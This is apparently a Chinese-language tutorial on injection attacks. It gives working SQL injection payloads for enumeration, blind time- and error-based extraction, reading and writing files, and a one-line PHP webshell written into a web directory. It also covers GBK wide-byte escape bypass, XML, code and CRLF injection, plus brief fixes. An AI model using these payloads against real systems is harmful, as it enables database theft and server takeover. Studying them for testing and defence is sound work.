1. 程式人生 > >註入攻擊

註入攻擊

encode 單引號 nio 輸入數據 轉義符 否則 統一 開啟 返回

註入攻擊本質是把用戶的輸入當做代碼執行,包括:sql註入、XML註入等

發生條件:1.用戶能夠控制輸入;2.原本要執行的代碼拼接了用戶的輸入,導致執行了用戶的輸入

1.sql註入

sql語言是解釋型語言,因此存在先天性的安全缺陷

原理什麽的就不提了,從判斷是否存在sql註入開始吧~

1.1 判斷是否存在sql註入

http://localhost/test.php?id=1  and 1=1    頁面正常

http://localhost/test.php?id=1  and 1=2    顯示出錯或空白

出現以上情況的,就是存在了sql註入,因為,id裏的and 1=1影響了sql語句的執行

爆數據庫版本:

http://localhost/test.php?id=1 and ord(mid(version(),1,1))>51 

發現返回正常頁面,說明數據庫是mysql,並且版本大於4.0,支持union查詢,反之是4.0以下版本或者其他類型數據庫。

爆字段:

http://localhost/test.php?id=1 and order by 10   出錯說明字段數小於10
http://localhost/test.php?id=1 and order by 5    出錯說明字段數大於5
http://localhost/test.php?id=1 and order by 8    出錯說明字段數小於8

用二分查找比較好

爆表:

采用union查詢的方式進行爆表

http://localhost/test.php?id=1 and 1=2 union select 1,2,3,4,5,6 

可以發現返回了幾個數字,把聯合查詢中對應的數字替換成需要的sql語句進行查詢即可

有用的函數:

database()          當前連接的數據庫名

system_user()       數據庫的系統用戶

current_user()      當前登錄數據庫的用戶名

last_insert_id()    最後對數據庫進行插入操作的id

1.2 盲註

盲註主要分為三種類型:基於時間的盲註;基於報錯的盲註;布爾型盲註

基於時間的盲註

sleep(n)            延遲n秒 
if(expr1,expr2,expr3) 如果 expr1 為真,則 IF()函數執行expr2語句; 否則 IF()函數執行expr3語句

BENCHMARK(count,expr) 重復執行表達式expr count次

利用sleep函數:

?id=1’ and if(ascii(substr((要執行的語句),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring((要執行的語句),1,1)=char(115),sleep(5),1)),2,3#

例:

?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#

當錯誤的時候會有5 秒的時間延時。

利用BENCHMARK()函數

?id=1’ and (select 1 from (select concat((ascii(substr((要執行的語句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#
?id=1’ and if(ascii(substr((要執行的語句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)#
?id=1’ union select (if(substring((要執行的語句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

當結果正確的時候,運行encode(‘msg’,’key’)操作50000000 次,會占用一段時間。
benchmark()函數可以測試某些特定操作的執行速度。該函數只是簡單地返回服務器執行表達式的時間,而不會涉及分析和優化的開銷。

基於報錯的盲註

十大報錯函數:

floor():
select *from test where id = 1 and (select 1 from (select count(*),concat(語句,floor(rand(0)*2))x from information_schema.tables group by x)a)-- 
?id=1‘ union Select 1,count(*),concat(你希望的查詢語句,floor(rand(0)*2))a from information_schema.columns group by a--+ extracvalue(): select * from test where id=1 and (extractvalue(1,concat(0x7e,(語句),0x7e)))-- updatexml(): select * from test where id=1 and (updatexml(1,concat(0x7e,(語句),0x7e),1))-- geometrycollection(): select * from test where id=1 and geometrycollection((select * from(select * from(語句)a)b)); multipoint(): select * from test where id=1 and multipoint((select * from(select * from(語句)a)b)); polygon(): select * from test where id=1 and polygon((select * from(select * from(語句a)b)); multipolygon(): select * from test where id=1 and multipolygon((select * from(select * from(語句)a)b)); linestring(): select * from test where id=1 and linestring((select * from(select * from(語句)a)b)); multilinestring(): select * from test where id=1 and multilinestring((select * from(select * from(語句)a)b)); exp(): select * from test where id=1 and exp(~(select * from(語句)a));

1.3 其他操作

如果當前數據庫用戶具有寫權限,攻擊者可以將信息寫入本地磁盤中,如web目錄

?id=1 union all select table_name,table_type,engine from information_schema.tables where table_schema=‘mysql‘order by table_name desc into outfile ‘/path/location/on/server/www/schema.txt‘

寫入webshell:

?id=1 union select "<? system($_REQUEST[‘cmd‘]);?>",2,3,4 into outfile "/var/www/html/temp/c.php"-- 

讀系統文件:LOAD_FILE()

寫文件:INTO DUMPFILE()和 INTO OUTFILE()

命令執行

利用“用戶自定義函數”,即UDF來執行命令

編碼問題

基於字符集的註入問題

當mysql使用GBK編碼時,0xbf27會被認為是一個雙字節字符,但是在進入數據庫之前,雙字節字符會被認為是兩個字符,某些函數,如PHP的addslashes()函數,或當magic_quotes_gpc開啟時,會在特殊字符前增加一個轉義字符“\”。

當輸入0xbf27時,會進行轉義,變成0xbf5c27(“\”的ascii碼是0x5c),但是0xbf5c又可以組成一個字符,因此,轉義符被吞掉,0x27不會被轉義,還是單引號。

解決方法:統一數據庫、操作系統、web應用所使用的字符集,以避免各層對字符的理解存在差異。

SQL column truncation

當mysql的sql_mode選項被設置為default時,即沒有開啟STRICT_ALL_TABLES 選項時,對輸入的超長值只會顯示warning而非error,即插入成功(截斷超長部分),若精心設置,可能會出現重復數據的情況,造成越權訪問。

2.XML註入

與sql註入很相似,用戶能夠控制數據的輸入;程序拼湊數據。

修復:對用戶輸入數據中的“保留字符”進行轉義,如用 lt 替換 <

3.代碼註入

由一些不安全的系統函數造成,比如:eval()和system()

提交命令:/index.php?arg=1;phpinfo()

4.CLRF註入

CR:\r,0x0d

LF:\n, 0x0a

可以用來註入HTTP頭,因為HTTP頭通過\r\n來分割,若沒有過濾,又把用戶輸入的數據放在HTTP頭中,可能造成安全隱患。

如,兩次CRLF註入到cookie

?argc=1%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1

註入攻擊